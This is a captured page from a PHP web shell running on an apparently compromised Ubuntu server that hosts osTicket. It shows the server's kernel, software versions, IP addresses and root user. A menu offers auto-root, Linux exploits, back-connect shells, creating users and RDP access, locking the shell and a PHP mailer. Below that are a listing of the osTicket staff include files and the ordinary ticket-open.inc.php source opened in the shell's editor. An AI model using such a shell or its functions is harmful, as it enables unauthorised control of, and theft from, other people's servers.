Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
staff /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
apikey.inc.php
4.66
KB
-rw-r--r--
apikeys.inc.php
7.6
KB
-rw-r--r--
banlist.inc.php
8.71
KB
-rw-r--r--
banrule.inc.php
2.93
KB
-rw-r--r--
cannedresponse.inc.php
6.09
KB
-rw-r--r--
cannedresponses.inc.php
8.02
KB
-rw-r--r--
categories.inc.php
7.03
KB
-rw-r--r--
category.inc.php
6.48
KB
-rw-r--r--
dashboard.inc.php
6.85
KB
-rw-r--r--
department.inc.php
22.65
KB
-rw-r--r--
departments.inc.php
10.45
KB
-rw-r--r--
directory.inc.php
5.86
KB
-rw-r--r--
dynamic-form.inc.php
15.15
KB
-rw-r--r--
dynamic-forms.inc.php
5.26
KB
-rw-r--r--
dynamic-list.inc.php
11.09
KB
-rw-r--r--
dynamic-lists.inc.php
4.62
KB
-rw-r--r--
email.inc.php
17.89
KB
-rw-r--r--
emails.inc.php
7.03
KB
-rw-r--r--
faq-categories.inc.php
6.88
KB
-rw-r--r--
faq-category.inc.php
3.02
KB
-rw-r--r--
faq-view.inc.php
3.52
KB
-rw-r--r--
faq.inc.php
10.33
KB
-rw-r--r--
filter.inc.php
18.87
KB
-rw-r--r--
filters.inc.php
9.23
KB
-rw-r--r--
footer.inc.php
3.88
KB
-rw-r--r--
header.inc.php
5.82
KB
-rw-r--r--
helptopic.inc.php
20.7
KB
-rw-r--r--
helptopics.inc.php
9.74
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
login.header.php
1.09
KB
-rw-r--r--
login.tpl.php
5.67
KB
-rw-r--r--
org-view.inc.php
4.45
KB
-rw-r--r--
orgs.inc.php
8.39
KB
-rw-r--r--
page.inc.php
7.86
KB
-rw-r--r--
pages.inc.php
7.64
KB
-rw-r--r--
plugin-add.inc.php
1.22
KB
-rw-r--r--
plugin.inc.php
1.54
KB
-rw-r--r--
plugins.inc.php
5.38
KB
-rw-r--r--
profile.inc.php
18.14
KB
-rw-r--r--
pwreset.login.php
1.77
KB
-rw-r--r--
pwreset.php
1.7
KB
-rw-r--r--
pwreset.sent.php
1.55
KB
-rw-r--r--
queue.inc.php
15.59
KB
-rw-r--r--
queues-ticket.inc.php
4.5
KB
-rw-r--r--
role.inc.php
4.88
KB
-rw-r--r--
roles.inc.php
5.5
KB
-rw-r--r--
schedule.inc.php
4.53
KB
-rw-r--r--
schedules.inc.php
5.34
KB
-rw-r--r--
settings-agents.inc.php
11.69
KB
-rw-r--r--
settings-alerts.inc.php
10.71
KB
-rw-r--r--
settings-autoresp.inc.php
2.48
KB
-rw-r--r--
settings-emails.inc.php
9.76
KB
-rw-r--r--
settings-kb.inc.php
2.18
KB
-rw-r--r--
settings-pages.inc.php
15.32
KB
-rw-r--r--
settings-system.inc.php
22.5
KB
-rw-r--r--
settings-tasks.inc.php
15.03
KB
-rw-r--r--
settings-tickets.inc.php
13.36
KB
-rw-r--r--
settings-users.inc.php
8.6
KB
-rw-r--r--
slaplan.inc.php
5.93
KB
-rw-r--r--
slaplans.inc.php
7.99
KB
-rw-r--r--
staff.inc.php
20.18
KB
-rw-r--r--
staffmembers.inc.php
12.63
KB
-rw-r--r--
syslogs.inc.php
8.57
KB
-rw-r--r--
system.inc.php
7.55
KB
-rw-r--r--
task-view.inc.php
93
B
-rw-r--r--
tasks.inc.php
18.23
KB
-rw-r--r--
team.inc.php
8.73
KB
-rw-r--r--
teams.inc.php
8.14
KB
-rw-r--r--
template.inc.php
7.21
KB
-rw-r--r--
templates.inc.php
8.25
KB
-rw-r--r--
ticket-edit.inc.php
8.58
KB
-rw-r--r--
ticket-open.inc.php
23.42
KB
-rw-r--r--
ticket-relations.inc.php
1.25
KB
-rw-r--r--
ticket-tasks.inc.php
7.29
KB
-rw-r--r--
ticket-view.inc.php
69.13
KB
-rw-r--r--
tpl.inc.php
5.79
KB
-rw-r--r--
user-view.inc.php
9.22
KB
-rw-r--r--
users.inc.php
12.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ticket-open.inc.php
<?php if (!defined('OSTSCPINC') || !$thisstaff || !$thisstaff->hasPerm(Ticket::PERM_CREATE, false)) die('Access Denied'); $info=array(); $info=Format::htmlchars(($errors && $_POST)?$_POST:$info); if ($_SESSION[':form-data'] && !$_GET['tid']) unset($_SESSION[':form-data']); // Use thread entry to seed the ticket if (!$user && $_GET['tid'] && ($entry = ThreadEntry::lookup($_GET['tid']))) { if ($entry->getThread()->getObjectType() == 'T') $oldTicketId = $entry->getThread()->getObjectId(); if ($entry->getThread()->getObjectType() == 'A') $oldTaskId = $entry->getThread()->getObjectId(); $_SESSION[':form-data']['message'] = Format::htmlchars($entry->getBody()); $_SESSION[':form-data']['ticketId'] = $oldTicketId; $_SESSION[':form-data']['taskId'] = $oldTaskId; $_SESSION[':form-data']['eid'] = $entry->getId(); $_SESSION[':form-data']['timestamp'] = $entry->getCreateDate(); if ($entry->user_id) $user = User::lookup($entry->user_id); if (($m= TicketForm::getInstance()->getField('message'))) { $k = 'attach:'.$m->getId(); unset($_SESSION[':form-data'][$k]); foreach ($entry->getAttachments() as $a) { if (!$a->inline && $a->file) { $_SESSION[':form-data'][$k][$a->file->getId()] = $a->getFilename(); $_SESSION[':uploadedFiles'][$a->file->getId()] = $a->getFilename(); } } } } if (!$info['topicId']) $info['topicId'] = $cfg->getDefaultTopicId(); $forms = array(); if ($info['topicId'] && ($topic=Topic::lookup($info['topicId']))) { foreach ($topic->getForms() as $F) { if (!$F->hasAnyVisibleFields()) continue; if ($_POST) { $F = $F->instanciate(); $F->isValidForClient(); } $forms[] = $F; } } if ($_POST) $info['duedate'] = Format::date(strtotime($info['duedate']), false, false, 'UTC'); ?> <form action="tickets.php?a=open" method="post" class="save" enctype="multipart/form-data"> <?php csrf_token(); ?> <input type="hidden" name="do" value="create"> <input type="hidden" name="a" value="open"> <div style="margin-bottom:20px; padding-top:5px;"> <div class="pull-left flush-left"> <h2><?php echo __('Open a New Ticket');?></h2> </div> </div> <table class="form_table fixed" width="940" border="0" cellspacing="0" cellpadding="2"> <thead> <!-- This looks empty - but beware, with fixed table layout, the user agent will usually only consult the cells in the first row to construct the column widths of the entire toable. Therefore, the first row needs to have two cells --> <tr><td style="padding:0;"></td><td style="padding:0;"></td></tr> </thead> <tbody> <tr> <th colspan="2"> <em><strong><?php echo __('User and Collaborators'); ?></strong>: </em> <div class="error"><?php echo $errors['user']; ?></div> </th> </tr> <tr> <td> <table class="form_table" width="940" border="0" cellspacing="0" cellpadding="2"> <?php if ($user) { ?> <tr><td><?php echo __('User'); ?>:</td><td> <div id="user-info"> <input type="hidden" name="uid" id="uid" value="<?php echo $user->getId(); ?>" /> <a href="#" onclick="javascript: $.userLookup('ajax.php/users/<?php echo $user->getId(); ?>/edit', function (user) { $('#user-name').text(user.name); $('#user-email').text(user.email); }); return false; "><i class="icon-user"></i> <span id="user-name"><?php echo Format::htmlchars($user->getName()); ?></span> <<span id="user-email"><?php echo $user->getEmail(); ?></span>> </a> <a class="inline button" style="overflow:inherit" href="#" onclick="javascript: $.userLookup('ajax.php/users/select/'+$('input#uid').val(), function(user) { $('input#uid').val(user.id); $('#user-name').text(user.name); $('#user-email').text('<'+user.email+'>'); }); return false; "><i class="icon-retweet"></i> <?php echo __('Change'); ?></a> </div> </td> </tr> <?php } else { //Fallback: Just ask for email and name ?> <tr id="userRow"> <td width="120"><?php echo __('User'); ?>:</td> <td> <span> <select class="userSelection" name="name" id="user-name" data-placeholder="<?php echo __('Select User'); ?>"> </select> </span> <a class="inline button" style="overflow:inherit" href="#" onclick="javascript: $.userLookup('ajax.php/users/lookup/form', function (user) { var newUser = new Option(user.email + ' - ' + user.name, user.id, true, true); return $("#user-name").append(newUser).trigger('change'); }); return false; "><i class="icon-plus"></i> <?php echo __('Add New'); ?></a> <span class="error">*</span> <br/><span class="error"><?php echo $errors['name']; ?></span> </td> <div> <input type="hidden" size=45 name="email" id="user-email" class="attached" placeholder="<?php echo __('User Email'); ?>" autocomplete="off" autocorrect="off" value="<?php echo $info['email']; ?>" /> </div> </tr> <?php } ?> <tr id="ccRow"> <td width="160"><?php echo __('Cc'); ?>:</td> <td> <span> <select class="collabSelections" name="ccs[]" id="cc_users_open" multiple="multiple" ref="tags" data-placeholder="<?php echo __('Select Contacts'); ?>"> </select> </span> <a class="inline button" style="overflow:inherit" href="#" onclick="javascript: $.userLookup('ajax.php/users/lookup/form', function (user) { var newUser = new Option(user.name, user.id, true, true); return $("#cc_users_open").append(newUser).trigger('change'); }); return false; "><i class="icon-plus"></i> <?php echo __('Add New'); ?></a> <br/><span class="error"><?php echo $errors['ccs']; ?></span> </td> </tr> <?php if ($cfg->notifyONNewStaffTicket()) { ?> <tr class="no_border"> <td> <?php echo __('Ticket Notice');?>: </td> <td> <select id="reply-to" name="reply-to"> <option value="all"><?php echo __('Alert All'); ?></option> <option value="user"><?php echo __('Alert to User'); ?></option> <option value="none">— <?php echo __('Do Not Send Alert'); ?> —</option> </select> </td> </tr> <?php } ?> </table> </td> </tr> </tbody> <tbody> <tr> <th colspan="2"> <em><strong><?php echo __('Ticket Information and Options');?></strong>:</em> </th> </tr> <tr> <td width="160" class="required"> <?php echo __('Ticket Source');?>: </td> <td> <select name="source"> <?php $source = $info['source'] ?: 'Phone'; $sources = Ticket::getSources(); unset($sources['Web'], $sources['API']); foreach ($sources as $k => $v) echo sprintf('<option value="%s" %s>%s</option>', $k, ($source == $k ) ? 'selected="selected"' : '', $v); ?> </select> <font class="error"><b>*</b> <?php echo $errors['source']; ?></font> </td> </tr> <tr> <td width="160" class="required"> <?php echo __('Help Topic'); ?>: </td> <td> <select name="topicId" onchange="javascript: var data = $(':input[name]', '#dynamic-form').serialize(); $.ajax( 'ajax.php/form/help-topic/' + this.value, { data: data, dataType: 'json', success: function(json) { $('#dynamic-form').empty().append(json.html); $(document.head).append(json.media); } });"> <?php if ($topics=Topic::getHelpTopics(false, false, true)) { if (count($topics) == 1) $selected = 'selected="selected"'; else { ?> <option value="" selected >— <?php echo __('Select Help Topic'); ?> —</option> <?php } foreach($topics as $id =>$name) { echo sprintf('<option value="%d" %s %s>%s</option>', $id, ($info['topicId']==$id)?'selected="selected"':'', $selected, $name); } if (count($topics) == 1 && !$forms) { if (($T = Topic::lookup($id))) $forms = $T->getForms(); } } ?> </select> <font class="error"><b>*</b> <?php echo $errors['topicId']; ?></font> </td> </tr> <tr> <td width="160"> <?php echo __('Department'); ?>: </td> <td> <select name="deptId"> <option value="" selected >— <?php echo __('Select Department'); ?>—</option> <?php if($depts=Dept::getPublicDepartments()) { foreach($depts as $id =>$name) { if (!($role = $thisstaff->getRole($id)) || !$role->hasPerm(Ticket::PERM_CREATE) ) { // No access to create tickets in this dept continue; } echo sprintf('<option value="%d" %s>%s</option>', $id, ($info['deptId']==$id)?'selected="selected"':'',$name); } } ?> </select> <font class="error"><?php echo $errors['deptId']; ?></font> </td> </tr> <tr> <td width="160"> <?php echo __('SLA Plan');?>: </td> <td> <select name="slaId"> <option value="0" selected="selected" >— <?php echo __('System Default');?> —</option> <?php if($slas=SLA::getSLAs()) { foreach($slas as $id =>$name) { echo sprintf('<option value="%d" %s>%s</option>', $id, ($info['slaId']==$id)?'selected="selected"':'',$name); } } ?> </select> <font class="error"> <?php echo $errors['slaId']; ?></font> </td> </tr> <tr> <td width="160"> <?php echo __('Due Date');?>: </td> <td> <?php $duedateField = Ticket::duedateField('duedate', $info['duedate']); $duedateField->render(); ?> <font class="error"> <?php echo $errors['duedate']; ?> <?php echo $errors['time']; ?></font> <em><?php echo __('Time is based on your time zone');?> (<?php echo $cfg->getTimezone($thisstaff); ?>)</em> </td> </tr> <?php if($thisstaff->hasPerm(Ticket::PERM_ASSIGN, false)) { ?> <tr> <td width="160"><?php echo __('Assign To');?>:</td> <td> <select id="assignId" name="assignId"> <option value="0" selected="selected">— <?php echo __('Select an Agent OR a Team');?> —</option> <?php if(($users=Staff::getAvailableStaffMembers())) { echo '<OPTGROUP label="'.sprintf(__('Agents (%d)'), count($users)).'">'; foreach($users as $id => $name) { $k="s$id"; echo sprintf('<option value="%s" %s>%s</option>', $k,(($info['assignId']==$k)?'selected="selected"':''),$name); } echo '</OPTGROUP>'; } if(($teams=Team::getActiveTeams())) { echo '<OPTGROUP label="'.sprintf(__('Teams (%d)'), count($teams)).'">'; foreach($teams as $id => $name) { $k="t$id"; echo sprintf('<option value="%s" %s>%s</option>', $k,(($info['assignId']==$k)?'selected="selected"':''),$name); } echo '</OPTGROUP>'; } ?> </select> <span class='error'> <?php echo $errors['assignId']; ?></span> </td> </tr> <?php } ?> </tbody> <tbody id="dynamic-form"> <?php $options = array('mode' => 'create'); foreach ($forms as $form) { print $form->getForm($_SESSION[':form-data'])->getMedia(); include(STAFFINC_DIR . 'templates/dynamic-form.tmpl.php'); } ?> </tbody> <tbody> <?php //is the user allowed to post replies?? if ($thisstaff->getRole()->hasPerm(Ticket::PERM_REPLY)) { ?> <tr> <th colspan="2"> <em><strong><?php echo __('Response');?></strong>: <?php echo __('Optional response to the above issue.');?></em> </th> </tr> <tr> <td colspan=2> <?php if($cfg->isCannedResponseEnabled() && ($cannedResponses=Canned::getCannedResponses())) { ?> <div style="margin-top:0.3em;margin-bottom:0.5em"> <?php echo __('Canned Response');?>: <select id="cannedResp" name="cannedResp"> <option value="0" selected="selected">— <?php echo __('Select a canned response');?> —</option> <?php foreach($cannedResponses as $id =>$title) { echo sprintf('<option value="%d">%s</option>',$id,$title); } ?> </select> <label class="checkbox inline"><input type='checkbox' value='1' name="append" id="append" checked="checked"><?php echo __('Append');?></label> </div> <?php } $signature = ''; if ($thisstaff->getDefaultSignatureType() == 'mine') $signature = $thisstaff->getSignature(); ?> <textarea class="<?php if ($cfg->isRichTextEnabled()) echo 'richtext'; ?> draft draft-delete" data-signature="<?php echo Format::htmlchars(Format::viewableImages($signature)); ?>" data-signature-field="signature" data-dept-field="deptId" placeholder="<?php echo __('Initial response for the ticket'); ?>" name="response" id="response" cols="21" rows="8" style="width:80%;" <?php list($draft, $attrs) = Draft::getDraftAndDataAttrs('ticket.staff.response', false, $info['response']); echo $attrs; ?>><?php echo $_POST ? $info['response'] : $draft; ?></textarea> <div class="attachments"> <?php print $response_form->getField('attachments')->render(); ?> </div> <table border="0" cellspacing="0" cellpadding="2" width="100%"> <tr> <td width="100"><?php echo __('Ticket Status');?>:</td> <td> <select name="statusId"> <?php $statusId = $info['statusId'] ?: $cfg->getDefaultTicketStatusId(); $states = array('open'); if ($thisstaff->hasPerm(Ticket::PERM_CLOSE, false)) $states = array_merge($states, array('closed')); foreach (TicketStatusList::getStatuses( array('states' => $states)) as $s) { if (!$s->isEnabled()) continue; $selected = ($statusId == $s->getId()); echo sprintf('<option value="%d" %s>%s</option>', $s->getId(), $selected ? 'selected="selected"' : '', __($s->getName())); } ?> </select> </td> </tr> <tr> <td width="100"><?php echo __('Signature');?>:</td> <td> <?php $info['signature']=$info['signature']?$info['signature']:$thisstaff->getDefaultSignatureType(); ?> <label><input type="radio" name="signature" value="none" checked="checked"> <?php echo __('None');?></label> <?php if($thisstaff->getSignature()) { ?> <label><input type="radio" name="signature" value="mine" <?php echo ($info['signature']=='mine')?'checked="checked"':''; ?>> <?php echo __('My Signature');?></label> <?php } ?> <label><input type="radio" name="signature" value="dept" <?php echo ($info['signature']=='dept')?'checked="checked"':''; ?>> <?php echo sprintf(__('Department Signature (%s)'), __('if set')); ?></label> </td> </tr> </table> </td> </tr> <?php } //end canPostReply ?> <tr> <th colspan="2"> <em><strong><?php echo __('Internal Note');?></strong> <font class="error"> <?php echo $errors['note']; ?></font></em> </th> </tr> <tr> <td colspan=2> <textarea class="<?php if ($cfg->isRichTextEnabled()) echo 'richtext'; ?> draft draft-delete" placeholder="<?php echo __('Optional internal note (recommended on assignment)'); ?>" name="note" cols="21" rows="6" style="width:80%;" <?php list($draft, $attrs) = Draft::getDraftAndDataAttrs('ticket.staff.note', false, $info['note']); echo $attrs; ?>><?php echo $_POST ? $info['note'] : $draft; ?></textarea> </td> </tr> </tbody> </table> <p style="text-align:center;"> <input type="submit" name="submit" value="<?php echo _P('action-button', 'Open');?>"> <input type="reset" name="reset" value="<?php echo __('Reset');?>"> <input type="button" name="cancel" value="<?php echo __('Cancel');?>" onclick="javascript: $(this.form).find('textarea.richtext') .redactor('draft.deleteDraft'); window.location.href='tickets.php'; " /> </p> </form> <script type="text/javascript"> $(function() { $('input#user-email').typeahead({ source: function (typeahead, query) { $.ajax({ url: "ajax.php/users?q="+query, dataType: 'json', success: function (data) { typeahead.process(data); } }); }, onselect: function (obj) { $('#uid').val(obj.id); $('#user-name').val(obj.name); $('#user-email').val(obj.email); }, property: "/bin/true" }); <?php // Popup user lookup on the initial page load (not post) if we don't have a // user selected if (!$_POST && !$user) {?> setTimeout(function() { $.userLookup('ajax.php/users/lookup/form', function (user) { window.location.href = window.location.href+'&uid='+user.id; }); }, 100); <?php } ?> }); $(function() { $('a#editorg').click( function(e) { e.preventDefault(); $('div#org-profile').hide(); $('div#org-form').fadeIn(); return false; }); $(document).on('click', 'form.org input.cancel', function (e) { e.preventDefault(); $('div#org-form').hide(); $('div#org-profile').fadeIn(); return false; }); $('.userSelection').select2({ width: '450px', minimumInputLength: 3, ajax: { url: "ajax.php/users/local", dataType: 'json', data: function (params) { return { q: params.term, }; }, processResults: function (data) { return { results: $.map(data, function (item) { return { text: item.email + ' - ' + item.name, slug: item.slug, email: item.email, id: item.id } }) }; $('#user-email').val(item.name); } } }); $('.userSelection').on('select2:select', function (e) { var data = e.params.data; $('#user-email').val(data.email); }); $('.userSelection').on("change", function (e) { var data = $('.userSelection').select2('data'); var data = data[0].text; var email = data.substr(0,data.indexOf(' ')); $('#user-email').val(data.substr(0,data.indexOf(' '))); }); $('.collabSelections').select2({ width: '450px', minimumInputLength: 3, ajax: { url: "ajax.php/users/local", dataType: 'json', data: function (params) { return { q: params.term, }; }, processResults: function (data) { return { results: $.map(data, function (item) { return { text: item.name, slug: item.slug, id: item.id } }) }; } } }); }); </script>
Close